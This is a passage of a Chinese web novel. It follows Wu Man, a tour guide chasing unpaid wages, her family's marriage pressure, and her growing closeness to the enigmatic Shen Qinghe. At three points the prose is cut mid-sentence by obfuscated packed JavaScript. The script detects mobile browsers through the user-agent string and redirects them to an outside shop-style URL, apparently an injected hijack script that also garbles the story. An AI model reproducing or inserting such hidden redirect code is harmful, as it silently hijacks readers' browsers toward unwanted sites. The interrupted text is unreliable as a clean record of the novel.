【妈,我看中了一款车,可不可以资助我一点点……】 不要太多,一万也行。 她可以为了梦中情车,重新找份工作延缓一些出游的计划,又不是第一次拖延了。 等待的时间格外难熬,邬蔓忍不住发过去车的照片,【是辆二手的皮卡车,长城炮的,才3.98万,我之前了解过这个牌子,挺好看挺合适的。】 邬蔓还想再美言几句,对面回了消息。 【这车也不怎么样啊。】 邬蔓急着打字为她的爱车辩解,对面又发。 【蔓蔓呐,不是妈妈不愿意资助你,爸爸妈妈在给你弟弟攒彩礼和三金呢,你爸多大人了现在还爬楼去送大米,就为了省点钱。现在金价这么贵……】 邬蔓突然就不知道说什么好了。 手指紧紧攥着手机,屏幕荧光映出她一双格外沉静的眼,那里面似乎没有任何失落和负面情绪。 指尖因掐的太紧有些不回血,变成暗色调的玫瑰紫。 妈妈没落入下风,继续说着。 【以后你结婚了会有车的,而且女孩子怎么能开这种车,你买车是要兼顾未来家庭的。现在车就是浪费,你可不要买,钱留起来以后当嫁妆,嫁妆多一些才不叫别人家低看。】 【外面要是工作累就回家,正好你舅舅想给你介绍个好人家,在咱们本地当警察的,知根知底……】 后面的话邬蔓没看,她去卫生间洗了把脸出来,部分湿发丝随着邬蔓仰倒的姿势贴在脸侧,冰冰凉凉,她枕着沙发朝着天花板直愣愣看了会。 灯该擦了,白色圆盘灯壳里可以看到密密麻麻小飞虫的尸体,大多数都是小咬,天黑开灯它们总是执着地朝那里飞,最后被灯泡的温度烫死在里面。 真傻。 大约十分钟后,邬蔓捞起手机,随意回了个表情包,又专心搜起维权的事情。 她没说自己离职了。 没必要说,也不想说了。 / 最后真叫邬蔓找到一个极全的维权贴,她按照上面的教程找到了市长留言箱的小程序,上面的反馈都是线上留痕。 这些日子不太顺利的线下辗转各单位,让邬蔓心理上对维权有点不看好,线上留痕或许会更容易些。 她选了相应的问题和领导,尽可能详细地描述,又贴上整理的证据图片。 期间打了市民热线的法律援助,接线的小姐姐十分有耐心,告知邬蔓这种情况如果起诉的话一定会成功,并且很同情邬蔓的遭遇。 但事情麻烦点在于邬蔓的公司不正规,他们没有签订劳务合同,所以工资的计算邬蔓要提供证据。 当初邬蔓是在某招聘软件和老板聊的,三年过去消息记录自动清除,打客服电话去问也只说普通用户无权限查看半年以上的记录,如果想要调取只能通过有关单位走法律程序,他们平台会依法提供。 邬蔓又打了警察局的电话咨询,问来问去,得知大概是要委托律师立案,由律所起草调查函。 先不说特别麻烦,请律师处理邬蔓这种经济纠纷,最少也要掏五千元律师费。 邬蔓被拖欠的工资才一万多点…… 事情就这样被卡在了这。 法律援助的小姐姐也劝邬蔓私下解决,虽然打官司一定会赢,但本质邬蔓的核心诉求是想要回工资,如果可以私下解决可以减少很多不必要的麻烦,也更节约时间。 打官司是件很麻烦的事,会影响邬蔓正常的生活节奏。 邬蔓知道小姐姐说话都是为了她好,因为她已经体会到工作日在各单位间来回跑的痛苦,一想到她累死累活的,老板那里旅游团照发不误,美美挣钱,邬蔓就跟吞了苍蝇似的恶心。 邬蔓自我纠结了一天,最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邬蔓刚才就是吓唬吓唬老板,说的那些投诉真要实施起来也挺麻烦,她本身就是个害怕麻烦的人,做决断前是要靠着头脑一热决定的。 最终邬蔓只能又花费两天时间,把能举报的不能举报的通通举报一遍。 转眼时间又到了周五,邬蔓瘫在床上,手指扒拉着手机上下载的招聘软件。 半个多月底前旅游的冲动,又成了一场幻梦,被无边无际的现实拖拽,计划再次被搁下。 时隔三年再看招聘软件,比她刚毕业那阵还要卷。 邬蔓挑挑选选自己能干的工作,挑来挑去都是些需要熬大夜或者站一天的服务属性岗位。 邬蔓刚毕业时尝试过酒店前台,上下班见不到阳光对她来讲是件很令人抑郁的事情,所以最后找着找着,又回到旅行社上。 只不过这次找的比之前的正规些,工资构成差不多,工作环境更好。 夏季正是旅游大热季,各个旅行社都缺成手,那边的负责人见过邬蔓,大概问了下离职原因,邬蔓没说和老板的矛盾随口扯了个理由,很快通过面试,通过面试的当天旅行社就加了一班车。 周六通往昌宁的两日游。 是以前邬蔓常带的线路。 邬蔓突然想到她第一次见沈青鹤,就是在昌宁市。 这次自己态度强之所以硬起来,一方面来自于老板的压迫,另一方面和帅哥的新鲜面孔也有点关系。 就像小人国里突然闯进一个正常比例的人那样格格不入,扎眼到已经快被同化的她都难以忽视。 帅哥是种能让人让心情变美丽的资源。 邬蔓想了想,给自己小号发消息。 【明天昌宁两日游,你还想去吗?】 距离上次俩人一起吃火锅已经过去二十几天,之前若有若无的暧昧因子早烟消云散。 邬蔓发消息时也不觉得有什么。 消息发送成功后,却莫名延迟紧张起来。 那点因时间淡化的情愫,又细细密密攀上心头,心脏在胸腔里的跳动似乎因负重而变得异常明显,震得邬蔓胸口发麻。 她抓紧睡衣衣襟,强迫自己躺下睡觉。 结果那晚一夜失眠。 凌晨时,沈青鹤回了消息。 一个简短的去字。 邬蔓等了半个小时,发过去集合的时间地点,末了加上一句——我起夜看见的,勿回。 似是为了证明些什么,邬蔓站起来真去了趟卫生间。 …… 躺在床上把自己卷成煎饼的某人,突然翻了个面。 脸被懊恼地埋进枕头里,企图要憋死自己。 她刚才的解释是不是太刻意了? 10. 薄耳饰 大概是人闲了太久的原因,就算失眠,邬蔓早上精力还是特别充沛。 清晨,远边天际渐渐吐露出鱼肚白,光晕像弯月的弧线,满天淡粉白紫色扑在柔软的云朵上,把洁白染成草莓香芋味的大团拉丝棉花糖。 邬蔓站在阳台上吹了吹凉爽的风,好心情在某种程度上会影响人的着装。 沈青鹤到集合点见到邬蔓时,她穿着鲜明的橙色T恤,颜色有点像果汁,也像香橙软糖。 和天上的橘色太阳很搭,一样光彩夺目,生机勃勃。 邬蔓余光看到了沈青鹤,埋在背包里找早餐的人抬起头,笑起来挥着手。 “我给你带了份早餐!” 沈青鹤这时候才看见,邬蔓的耳垂上挂了个薄圆片的耳饰,蓝绿色转啊转,某一角度反射出靛青色游彩。 那淡淡的浮光掠过少女白皙的脸颊,一闪而过。 邬蔓把顺路买的KFC早餐递给沈青鹤,看他一左一右拎着两个行李箱,惊呼他怎么带这么多东西。 比上次去普华山带的还要多,真的很夸张。 沈青鹤笑笑,没回答这个问题。 邬蔓拆开包装,一边吃早餐一边和他说,“我还以为你会看不见我发的微信……” 沈青鹤有时候像个山顶洞人,邬蔓发现之前他连自己热点的时候完全不会刷视频,像是脱离了这种低级趣味,一味看手机里下载完的书。 说实话,要是别人这样,邬蔓应该会觉得挺装的。 不过放在沈青鹤身上,又有点诡异的合理。 沈青鹤把自己行李箱放好,喝了口豆浆,“这两天我住的地方有WiFi,所以可以连接网络。” 邬蔓点点头,从中提取出一个信息。 他不是本地人且没有租房子。 两人三下五除二吃完早餐,还是之前一样的流程,以至于邬蔓和沈青鹤踩在沙滩上时,她还有点恍惚。 邬蔓带沈青鹤去靠近海岸线的地方挖贝壳。 男人修长干净的指节戳在沙土里,挖着挖着,邬蔓看旁边人在搭城堡,于是两人照葫芦画瓢又堆起城堡。 不免偶尔和沈青鹤的指尖一触而过。 他的指尖干热,和外表的温和并不一致,反而是邬蔓的手指温凉,沈青鹤碰到时,像触摸到一汪山泉水。 邬蔓堆着堆着,失去了耐心。 搓干净手指抱着膝盖,看沈青鹤堆。 他的那边沙土码得整整齐齐,像边角齐平的砖头,完全是强迫症的福音,邬蔓这边松散的东倒西歪,最后城堡堆成个四不像,邬蔓看着看着突然有点想笑。 邬蔓笑,沈青鹤也跟着笑了。 他也拍拍手,没什么包袱地坐沙滩上眺望远方的海,蔚蓝的海水映在他眼中,可邬蔓却感觉他的眼神没有落在海上。 “我大概要离开津川了。” 沈青鹤的声音被海风扬起,风从身后撩起他的衣摆,那声音急促柔软,被邬蔓耳饰上贝母拨片“呼啦啦”的翻转声盖住。 邬蔓忙着捞起自己乱飞的发丝往耳后掖,一时没说话。反复几次也是无济于事,海边的风就是这样,比京剧变脸还快,摸不准什么时候就刮起来。 她干脆放弃了,自暴自弃任由额角的头发吹向四面八方。 沉默的时间有点久了,邬蔓语气轻松地接着话题聊,“那很好耶,我之前就感觉你不是津川本地人。” 见多了形形色色的人,有时候和人相处一段时间,能嗅出城市的味道。 或许这就是一方水土养一方人。 沈青鹤气质教养不凡,不像是小城市能养出来的人。 她早有预感,就如沈青鹤的名字那般,他是路过人间让人惊鸿一瞥的仙鹤。 惊艳到你不必惦记,更无需遗憾。 “那你打算下一站去哪里玩呢?” 玩吗? 沈青鹤在心里过了一遍这个字,“我也不知道。” “啊?” 邬蔓托腮,“我还挺羡慕你这种状态的,想去哪就去哪,没有目的地,多自在。” 沈青鹤笑笑,并不评价。 邬蔓也不开口了。 她伸手拨弄着沙子,沙子抓在手心像时间沙漏一样漏下去,聚成一个小小的三角形。 摸不准心头这淡淡的失落感从何而来。 邬蔓想,可能是自己转眼间又当起牛马,人家轻轻松松出去玩,所以心里不平衡了。 坐了半小时,有点腿麻。 俩人去岸边净水区冲洗干净手脚,旁边的烧烤摊刚好支起来,新烤出一炉香喷喷的海鲜串。 空气里的孜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525810|203490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然味无孔不入,火红秘制酱料被摊主刷在海鲜串上,摊主手脚麻利地根据顾客口味往其中几串上喷醋,滋啦啦一声,呛香的醋味混着烧烤的香味席卷整片海滩。 邬蔓诚实地拐了个方向,在烤串摊排起队。 “你上次请我坐快艇了,我正好请你吃烤串吧,就当为你践行~” 沈青鹤拿着的那个两个行李箱一看就是要从昌宁直接出发,邬蔓在心里庆幸自己昨晚问了他一句。 沈青鹤这次没拒绝,也跟在邬蔓身后乖乖排起队。 海边的烧烤就是吃个鲜味,他们早上刚吃过饭不太饿,邬蔓没点很多,大概点了些这边出名的海鲜,拎着串回头。 “我们去旁边的小桌子……” 邬蔓话说一半,脸上表情变得不太好看起来。 半米开外,赫然站着邬蔓的前老板。 他笑眯眯地和旁边人说话,一抬头,显然也瞧见了邬蔓。 邬蔓不是没考虑过上次和他撕起来,只是她刚换了工作,不太适合树立一个和前老板大闹海滩的形象,厌恶地瞪他一眼,气呼呼走了。 反正市长留言箱在处理中,昨天工作人员还给她打电话问情况了,在电话里承诺会去给老板去电调解。 旅游的计划泡汤,邬蔓不急这一时。 沈青鹤被邬蔓拽着一路带到最远的小桌子上,他顺着邬蔓的目光大概明白了是怎么回事。 “工资没发吗?” 邬蔓恶狠狠咬了一口鱿鱼,“何止!” 措辞半天,吐出来一句,“就没见过这么无耻的人!” 邬蔓想,她还是太有素质了,居然没破口大骂出来。 “你之前不说要出去玩?” 沈青鹤思索了下,“是因为拖欠工资所以?” 邬蔓老脸一红,“啊……我也和你说过要出去玩吗……” 她怎么不记得了,一般她只会和闺蜜反复口嗨才对啊。 “那天你喝醉了说的。” 想到些什么,沈青鹤勾起唇角。 邬蔓尴尬清磕一声,“也不完全是吧……反正各方面原因嘛,暂时把计划推后了。” 莫名因自己的满嘴跑火车而感到羞耻。 她喝醉了怎么什么都说! 不会想刮刮乐中一百万也说了吧?! 11. 编故事 命运就是这样爱开玩笑,越讨厌什么越来什么。 邬蔓掏出随身带的小包纸巾——是葡萄味的,前几天林知夏在网上薅羊毛时候顺便帮她也薅了。 味道挺好闻,质量有些一般,邬蔓拿它来擦擦汗。 这些天气温持续走高,阳光晒得人睁不开眼睛,连风都是燥热的,车门刚一打开,热浪扑过来,衣角发尾那么点吹空调的凉意马上就消失得无影无踪。 邬蔓眯起眼,看向前面那辆大巴车。 那辆大巴车她坐了无数回,别说车屁股对着她,哪怕单拎出来一个车轱辘她也认得出来。 真是, 冤、家、路、窄。 邬蔓感觉晦气。 至于为什么是她超级无敌黑心的前老板亲自带团,她大概想得到原因。 旅游团车发出去一来一回纯挣钱,虽然没多大技术含量,但工作辛苦,员工流动大,是很缺成手的。 尤其夏季是昌宁旅游高峰期,邬蔓离职了旅行社另外俩人各有团要带,想来找新员工也没这么迅速。不过都这样了也不肯提高待遇稳定住老员工,简直是现世周扒皮,更可恶了。 邬蔓盯着前方大巴车上下来的身影,恶狠狠咬住后槽牙。 邬蔓是标准的瓜子脸,面中很平整没有多余赘肉,此刻从侧边看脸颊微微鼓起,两腮像各含了一颗小小的菇娘果。 沈青鹤正跟在邬蔓后一步下车,他眉骨过分优越,烈日之下近乎不需要眯眼,所以视野超广。光斑在邬蔓脸上分割成明亮的小三角,恰好可以看到模糊的亮光边缘,那一片细细莹莹的小绒毛。 让沈青鹤想起小时候跟父母去墨尔本去叔叔家牧场游玩,工人养了几只宠物鸭,有黄有白。刚出生的小鸭子身上也有这样细小柔软的绒毛。 略微一走神,想到现在自己无端把人家“鸭塑”,沈青鹤弯起双眼,似乎轻笑了一声。 邬蔓狐疑回头,这时沈青鹤已经没在笑,双睫密密地伏下来,在脸颊上投下剪纸般的影子,将琥珀色瞳孔盖得颜色变深。 “你笑什么?”邬蔓咬字不太确定地问。 沈青鹤挑了下眉,“哦?有吗?” 俩人靠的近,男人发梢的木质香味和身上清爽的薄荷味被热风裹一起往邬蔓身上扑。 嗅觉超乎平常的灵敏,鼻尖动了动,邬蔓又突然扭回头。 那气味又锲而不舍地扑在她身后,吹动她的发丝和衣角,又绕过耳下的贝母片,悄悄蹭着她白皙的耳垂。 好像非要将那一块蹭成粉白才肯罢休。 被这阵风一打岔,前老板早带着游客们进去水族馆,看不到人,邬蔓胸腔里那股无名的火也突然消散了。 邬蔓捏着纸巾,甜甜的葡萄香精味被沁出来的汗染在指尖上,她低头嗅了嗅手指的果香,拢拢耳饰,连接薄片的链子上有小装饰,正“搁楞搁楞”地响,把莫名变快的心跳声掩盖住。 没有去思考的时间,车队里游客在催,邬蔓回过神捏着麦喊大家排队集合。 / 下午的流程匆匆过了,邬蔓今天有点不在状态,加之后来没再遇到前老板,她完全是依靠着身体本能和熟练度结束了一天的工作。 大概是没走心一直在神游的原因,一整天跑下来她竟也没觉得太累。 邬蔓后入的旅行社规模大,团费收的要比以前高,虽然流程基本没变,但吃住的都会相对要好一点。 今天住的是个两层的小民宿,听说是酒馆改的,二楼连接着户外露台,放着木桌椅和露营伞,客人可以随意使用。 邬蔓没睡意,套上衣服晃晃悠悠在外面散步,晚风不凉爽,但也不似白日那么热。 两侧行道树长得茂盛,树冠张牙舞爪地交叠遮住月光,暖黄色路灯中和掉黑漆漆的恐怖感,颜色有点像儿童绘本里干净童话风的柠檬黄。 邬蔓踩着自己的影子没有目的地乱散步,走着走着路过一家便利店,玻璃墙里货架上五颜六色的零食勾起人的购买欲,邬蔓进去挑了两瓶气泡水和一个冰杯出来,打算拿去露台上看星星喝。 这次她挑选时盯着气泡水的易拉罐看了半天,确认不含酒精才买。 上次和沈青鹤吃火锅时的喝醉简直是人生黑历史,还是很冤枉的那种。 现在便利店里各种牌子的酒水饮料成堆,货架上下半人多高,很难让人找出一样的饮品。 更别提包装都是花花绿绿,怎么吸引人怎么来,尤其是气泡水和气泡酒是重灾区,一不小心就会买错。 邬蔓吃了一年多自己做的饭菜味觉都跟着退化,气泡酒她完全尝不出来酒味。 邬蔓到露台的时候没人,露台面积不太大,放了一张长方形的大桌子,后面还有两个小圆桌,露营伞貌似起的是装饰作用,搁一角斜斜地撑开,旁边立着个柔光的圆月灯。 没有主要光源,绕着露台围栏边缠了几圈黄色线灯串,看起来应该是老板和员工自己布置的,灯串乱乱缠在围栏上,固定处支出来锋利的铁丝,又被人凌乱地扭成丝扳向外面,颇有几番倔强生长的意思。 还挺有野生感…… 邬蔓观察一圈窝回竹编椅里,晃晃悠悠喝着气泡水。 西柚微苦的味道在舌尖炸开,苦了几秒钟后一阵阵往嘴里泛着甜。 突然感觉此刻似乎应该放点音乐。 邬蔓掏出手机也不纠结,直接点了每日推荐随机放。 她闭上眼睛,听着歌。 直到露台的门再次被人推开,发出沉闷的响声,邬蔓睁开眼,看见沈青鹤坐到自己对面。 心里没有多少意外,邬蔓暂停歌曲。 其实邬蔓很少有时间静下心听歌,这几年她的歌曲来源基本只有短视频一个渠道,大热歌曲用的人多,被迫变得耳熟能详,没事哼哼两句副歌。 真要她完整唱一遍,估计是得掏出最炫民族风或者精忠报国了。 “怎么不睡觉?” 沈青鹤看着窝在藤椅里面的女孩,她还穿着白天那套衣服,脱了鞋袜,美式扎染的宽裤腿盖住一多半脚背。 视线在圆圆的脚趾上面停留一秒钟又划开。 邬蔓用曲起来的大腿发力,身子往前倾,坐正了点,显得不那么懒散,单手递过去另外一瓶气泡水,“沈青鹤,你不会是神棍吧,连我没睡觉都知道?” 咔吧一声咬碎冰块,冰冰凉凉顺着嗓子滑下去,邬蔓舒服地眯眯眼。 她这时候表情又变得有点像猫,不太狡猾的那种。 沈青鹤打开拉环,喝了口。 又是带汽的饮料。 草莓味的。 “热点断了。” 热点断了,可能是对方关了,也可能是距离变远。 前台聊露台的时候沈青鹤也在,跟着听了一耳朵,刚才莫名地想过来看看。 “哦——”邬蔓拖了个重重的长音,“其实你就是回房间偷摸刷视频吧,不然你又不用网,怎么那么快发现的……” “我就说怎么会有人能一直无聊的只看书~” 沈青鹤笑笑,不说是也不说不是。 两个人说了没几句,邬蔓想起来自己一开始是想来星星,仰起头,“星星好多啊……” “你去的别的城市,星星也有这么多吗?” 沈青鹤如实回答,“有比昌宁多的,也有更少的。” “哦。” 对面不痛不痒地哦了一声。 又过了一会,状似好奇问,“你没身份证和网络的话,出门是不是特别不方便?火车高铁飞机应该都不能坐吧,开车也开不了。” 沈青鹤点点头,“是不方便,但还算能克服吧。” 沈青鹤没说如何克服邬蔓也想的到,钞能力呗,只要有钱,沈青鹤打的都能走遍全中国。 不是通缉犯,也不是经济犯,难道…… 邬蔓一拍手,“难不成你在被追杀?” 长得帅,身份神秘,用不完的现金,简直是戏剧buff堆满。 沈青鹤有点像邬蔓初中追上头的漫画杂志,主角第一话总会遇到的离奇神秘人物。 只不过那时候邬蔓沉迷血族设定,不是棺材里沉睡着个吸血鬼美少年,就是牵收快递意外签订了未婚妻契约…… 完全对得上,邬蔓天马行空地继续口嗨,“什么豪门恩怨,真假千……少爷,□□追杀什么的……” 沈青鹤好像知道邬蔓平时都看什么书了。 他勾起唇角,静静听着邬蔓胡说,“嗯对,其实我是豪门继承人,在被人追杀呢。” 故事这东西得自己编才有意思,沈青鹤一附和,幽默感反而没了,显得邬蔓有些傻傻的。 如果有第三个人在场,是要笑邬蔓短剧小说看多了的程度,还是无脑霸总文。 邬蔓这样瞎扯是故意活跃气氛,没想到沈青鹤能接着她的话胡编乱造,她以为他会笑笑说不是的,怎么可能诸如此类的话。 这就有种在交际圈里你故意扮丑出洋相,已经做好被人打趣的准备,这时候突然出来个人发自内心把你捧起来。 就……让人很无所适从,脚趾扣地。 “哈哈。”邬蔓干笑两声,“你真会开玩笑。” 对沈青鹤的了解又深了一层,除了温柔绅士,这人身上也有几分少年人的不正经。 沈青鹤挑眉,不置可否。 “我还有个哥哥,就是他那边的人追杀我,为了遗产。” 邬蔓:“……” 你看我信吗你! 邬蔓又缩回去,没什么兴趣摆摆手,“哦,那你哥和你是真假少爷抱错了?还是同父异母同母异父?” 她的问句问的敷衍,不翻个白眼说我再听你继续编呢?已经算是对帅哥的尊重了。 沈青鹤笑,“同父异母,你真聪明。” 邬蔓也笑,“也就那么点设定了。” 也就那么点设定给你掰扯了。 邬蔓在露台吹了半小时风,听沈青鹤有一搭没一搭地编故事。 她装好奇,实际上为了拆穿,想说你讲的真的很拙劣。 “你哥哥长什么样?帅不帅,有照片吗?” 沈青鹤沉默两秒。 本能不太想回答关于家人那边的事,最后还是说,“哥哥是中美混血,挺帅,没有照片……” 不用沈青鹤说原因,邬蔓抢答,“一定是你们关系不好,没拍过合照对吧?” 女孩眨眨眼睛,圆圆的黑眼仁盯住他,流露出狡黠的水光。 沈青鹤点头。 对面突然笑起来,笑声仿佛风铃一荡一荡地摇晃,清脆如山涧细泉,撒了把碎珠般密集欢快。 沈青鹤不明所以地看着她。 天上突然飘起细小的雨珠,偶尔有几滴落在脸上。 邬蔓轻轻呀一声,不太信,举起手接雨,“天气预报没说下雨啊……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邬蔓吐出一口气,“天天大学生大学生,大学生多的是,真是碍到你眼睛了是吧?人越没什么越想强调什么,实际上你心里羡慕死嫉妒死大学生了,恨不得自己是大学生,好有点文化懂点法!” 邬蔓情绪失控,控制不住自己的音量,她虽然大吼着,心里却有些不安。 旅游行业大家互相抬头不见低头见,她前老板没啥文化也能吃这口饭有很大原因是他是本地人有些人脉,如果他存心要搞自己,邬蔓在津川每新找一个旅行社,他就传播谣言搞砸一个,别人不会因为一个小小的员工去求证事实。 更何况……她举报这件事宣传出去,别的店也不敢用她,这行业里面没那么干净。 除非她换工作或者换城市,不然她耗不过前老板。 邬蔓脑子飞快地想着这些事,眼眶里涌上来一股热潮,“随便你,你也别想好过。” 她恨恨道,“你不给我工资我就跟你刚到底。” 前老板笑了,“要么说你还嫩呢。” 他用一种轻描淡写的语气,“其实这一万对我来讲根本不算什么,我就是不想给你你能怎么着?” 邬蔓呼吸气急促,刚要回怼。 那边继续,“告我?举报我?我换个招牌照样干的风生水起,你告我最后你胜诉又怎么样?我就没钱,耗着呗,我有的是时间,到最后无非就是把一万给你嘛,我没钱分期给有问题吗?没有问题。就是不知道你耗不耗得起。” 邬蔓知道他说的话没道理,自己维权没错。 但现实生活中的事,不是错或不错这样简单的,这些日子跑维权跑的艰难她就知道这件事不会被轻易解决。 可她显然还是低估了老板的无耻程度。 手里的存款越花越少,现在新工作也黄了,以后找什么怎么找,所有问题席卷而来。 加上父母那边完全依靠不上,邬蔓再也忍不住,生活压力太大了,她崩溃地哭出来。 邬蔓挂了电话,不想在老板面前露怯。 靠着房门,无力地滑坐在地上,抱着膝盖,头埋在里面。 外面大雨倾盆,雨声是很好的掩饰,于是她大哭起来。 泪水汹涌,邬蔓紧紧抱住自己。 脑子里许多画面闪过,有家人有工作,有她想买的车,有想去的远方,也有学生时代懵懂无知的她等等。 为什么她这样失败。 为什么一无所有。 她真的已经很努力了。 邬蔓拼命地大口呼吸,她哭得有些窒息。 难道她的人生,只能靠什么所谓的相亲结婚,才能安稳,才能追求自己的梦想吗…… 那她这几年的挣扎努力,逃离父母又算什么呢! “叩叩叩——” 敲门身在背后响起,邬蔓紧靠着门的身体一惊。 下一秒,手机在地上嗡嗡嗡地震动。 屏幕亮光幽幽,照亮一小片角落,黑暗里,隐约可见邬蔓红肿的双眼。 敲门声和手机震动声锲而不舍,颇有几分逼迫的意思。 邬蔓捞起手机。 是她小号打来的微信电话。 邬蔓不太想接。 刚要挂断,聊天框里突然弹出一条消息。 【开门。】 12. 流浪猫 门外站着谁,显而易见。 邬蔓沉浸在自己的坏心情里,窗外的雨水声固执不停,唰唰唰地持续冲洗玻璃,未知来源的环境光让邬蔓可以清晰地看见上面一层叠一层的波纹,和她此刻眼底的水光一模一样。 她无力靠着门板,手机在掌心里嗡嗡震动,酥麻的触感通过小臂蔓延全身,似是不停在提醒邬蔓有人在等她开门。 但她不想自己的狼狈再次被人看见。 邬蔓和沈青鹤的交情实在谈不上有多深,但他这样的人异常好懂,矜贵温柔,待所有人都有好态度,和他相处过的人很难挑出什么毛病。 不过,某种程度上来讲,他自成一处世界,绅士的行为里处处透露着距离感,所以邬蔓放任自己的情绪,破罐子破摔地继续瘫在地上。 反正,不管这些声音,最后沈青鹤也会离开。 没有人会去等一扇敲不开的门。 大约五分钟,门外终于安静下来。 手机屏幕的光熄灭了很久,因微信消息提醒再次亮起时,邬蔓有点意料之外。 此刻她的下巴枕在膝盖间,本能追着声音亮光低头,长发垂落,视线穿过细密的发落在屏幕上。 不是小号,是妈妈发来的消息。 邬蔓和家里人很少联系。 她解锁手机,沉默看着那条消息。 【蔓蔓,你是不是离职了?】 呼吸陡然变得紧促,房间太小,连氧气都好像不充足。 邬蔓记得她没和家里人说过离职的事。 【你那边什么什么局,没联系上你,给我打电话来着,好像那意思是没给你钱?】 这条是语音,邬蔓点开,中年女人的声音响在漆黑的房间,下一条语音自动播放。 【你一个人在外面要注意安全,这种事差不多就行了,小姑娘在外地人生地不熟的,忍忍就过去了。】 【我和你爸还是想你回家来,离得近一家人团团圆圆多好,我记着你高中玩的挺好的那个朋友,叫夏夏来着?人家不也在老家吗……】 对面絮絮叨叨说了很多,邬蔓被这些突然的关心打了个猝不及防。 毕竟她妈妈嘴里的“夏夏”,之前读书时她总念叨让邬蔓少和林知夏玩,说她都被带坏了。 邬蔓和林知夏很幸运地蝉联倒数第一第二冠亚军,俩人家长每次家长会都被老师“格外关照”,加之随年龄成长,邬蔓延迟的叛逆反抗逐渐加深,再怎么说邬蔓都是亲生的,所以这一切都被她父母一股脑安在交友不慎的名头上。 其中最让他们反感的就是活泼开朗的林知夏,邬蔓都记不清自己为了闺蜜和他们吵过多少次架了,现在从妈妈嘴里听见闺蜜的名字,简直怀疑是幻觉的程度。 下一秒,更像幻觉的话响起。 【你说你想买的那个车,我是不太建议你买,但你要是实在喜欢吧,爸妈合计了一下,你这么大的人了买了也行,但是你弟弟这边确实这两年用钱多,妈知道你从小懂事能理解的,你手里多少也有些存款,爸妈能支持你一万。】 【外面累就回家来吧。】 对方转账一万元。 邬蔓愣住了。 转账条橘色的光映在她眼底,刚哭过的红肿眼眶很痒,她伸手揉了揉,眼睑变得更红。 有股暖流突然划过四肢,原本早哭干的眼泪再一次被蓄起。 或许……真的可以考虑一下回家? 买完车,她手里还有余钱,住在家里工作,好像离自驾游的梦想更靠近一些。 邬蔓点着语音条,“妈我……” 被自己开口的哭腔和声音吓到,邬蔓上滑取消,清咳两声。 手机里的外放没停,妈妈继续说着,【上次我和你提的那个警察,你还记得不,你舅舅介绍那个。人家看了你的照片挺满意的,你回家找个正经工作,爸妈也能省心。】 邬蔓感动的心情立马消散了大半。 她按着手机,声音止不住颤抖,“妈,你怎么不经过我同意就发我照片跟别人相亲?” 看着那一万的转账,橘色的光亮在这片黑暗中突然变得刺眼。 他们深谙打一巴掌给个甜枣。 小时候邬蔓想吃一种很流行的星空棒棒糖,长长的塑料棒上一颗比普通棒棒糖大一圈的圆,不同色系的星空银河镶嵌在透明的糖球里,在小卖部的白炽灯下美丽的像闪亮的宝石。 邬蔓一眼就被漂亮的糖果俘获,那时父母禁不住她闹,能卖十元的糖果被她小心翼翼捧在手心。 她用帮弟弟听写英语单词的代价,换来了想要的糖果。 如今的一万元,又要她付出什么代价? 【发一下你照片怎么了,又没叫你和人家见面。】 妈妈显然不能理解邬蔓的突然质问,也受不了邬蔓不好的语气,她也跟着变了语气,【妈妈上面说的你看到没有?怎么都不回的,都26了,不要让爸妈继续操心你了。】 【你一直在外面飘着,又飘不出来什么成绩,说出去你弟弟都不好谈对象的,我们也不好意思说你没正经工作……】 “所以你们给我转一万又让我回家,就因为我耽误你们儿子相亲了是吗?” 差点还真就起了回家的念头。 邬蔓觉得自己可笑,她仰头,不让眼泪往下流。 之后也无非是吵来吵去,邬蔓筋疲力尽。 她撂下一句我找了新工作不会回去后,终止了一切对话。 屋里再也待不下去,胸口里像灌满了干燥的棉花,呼气吸气都格外艰难,她迫切地需要去外面呼吸新鲜空气。 邬蔓站起来,细白手指搭上门把手往下压。 咔哒一声,门被打开。 潮湿的水汽扑面而来,沈青鹤安静立在门口,湿发凌乱搭在他额前,水珠顺着他的发梢、领口、衣角滴落,冷水汽随着他的呼吸起伏停滞在俩人之间。邬蔓没想到他还在这里,俩人距离太近了,近到她的脸直对沈青鹤的胸膛,于是不可避免地,薄荷混着冷皂角的味道闯进来,带着雨水的寒,又被男人的体温蒸出一种很干净的味道。 沈青鹤低敛眼皮垂首看着她,那双眼上盖了一层凉雾,让人看不清他的神情。 邬蔓盯着他从额角滑落过挺拔鼻梁,流过薄唇和下颌,没入衣领下的水珠看。 他浑身湿了个透,仿佛刚从水里捞出来。 站在自己门外,半小时,还是一小时? 那滴消失的雨水像落到了邬蔓胸口,让她呼吸间全是男人身上湿漉漉的水汽。 沈青鹤的脸异常苍白,他脸上没有任何表情,以往的温柔消失不见,在雨夜里,棱角分明的五官莫名染上些居高临下的冷傲。 邬蔓一时间没能开口说话。 邬蔓震惊于沈青鹤在她门口等了那么久的情绪之中,望向男人的目光都变得复杂起来。 如果刚才她没有打开门,沈青鹤会这样湿透着在门口一直站下去吗…… “十万够吗?” 他的声音很轻,像冬天收拾旧衣时,从针脚线里飘出的软羽绒。 什么? 邬蔓没太理解沈青鹤的话。 